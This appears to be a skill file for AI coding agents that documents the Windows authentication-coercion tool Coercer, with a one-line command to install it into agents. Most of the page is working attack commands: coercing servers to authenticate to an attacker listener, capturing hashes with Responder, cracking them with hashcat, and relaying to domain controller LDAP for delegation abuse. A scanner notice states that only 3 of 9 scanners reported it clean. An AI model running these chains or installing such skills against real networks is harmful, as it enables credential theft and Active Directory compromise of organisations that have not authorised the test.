offensive-tools/windows/coercer/SKILL.md
Auth/lab ref: Coercer forces Windows servers to authenticate to a controlled host by abusing MS-RPRN, MS-EFSR, MS-DFSNM, and other RPC protocols, enabling NTLM relay or hash capture.
npx skillsauth add aeondave/malskill coercerInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Force Windows servers to authenticate (NTLM) to your listener — enables relay, capture, and hash extraction.
Coercer abuses multiple RPC protocols/methods that trigger a Windows host to initiate an outbound NTLM authentication to an attacker-controlled IP. The captured Net-NTLMv2 hash can be:
# Coerce auth from a server, capture with Responder
# Terminal 1: Start Responder
responder -I eth0 -wv
# Terminal 2: Coerce auth
coercer coerce -l 10.10.14.1 -t 10.10.10.10 -u user -p password -d domain.local
| Command | Description |
|---------|-------------|
| coerce | Trigger authentication coercion |
| scan | Scan target for available coercion methods |
| fuzz | Fuzz available RPC methods |
| Flag | Description |
|------|-------------|
| -l <ip> | Listener IP (attacker machine) |
| -t <ip> | Target IP (Windows server to coerce) |
| -u <user> | Username for auth to target |
| -p <pass> | Password |
| -d <domain> | Domain |
| -H <hash> | NTLM hash |
| --filter-protocol-name <name> | Only use specific protocol (e.g., MS-RPRN) |
| --filter-method-name <name> | Specific RPC method |
| --always-continue | Continue despite errors |
| Protocol | Common Name |
|----------|-------------|
| MS-RPRN | PrinterBug / SpoolSample |
| MS-EFSR | PetitPotam |
| MS-DFSNM | DFSCoerce |
| MS-FSRVP | ShadowCoerce |
| MS-EVEN6 | EventLog |
# 1. Start Responder
sudo responder -I eth0 -wv
# 2. Coerce target
coercer coerce -l 10.10.14.1 -t 10.10.10.10 -u user -p pass -d corp.local
# 3. Responder captures hash → crack offline
hashcat -a 0 -m 5600 hash.txt rockyou.txt
# 1. Start ntlmrelayx targeting DC LDAP
ntlmrelayx.py -t ldap://dc.corp.local --delegate-access -smb2support
# 2. Coerce DC authentication
coercer coerce -l 10.10.14.1 -t dc.corp.local -u user -p pass -d corp.local
coercer scan -t 10.10.10.10 -u user -p pass -d corp.local
| File | When to load |
|------|--------------|
| references/ntlm-relay.md | Full relay chain setup, ntlmrelayx options, RBCD exploitation |
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.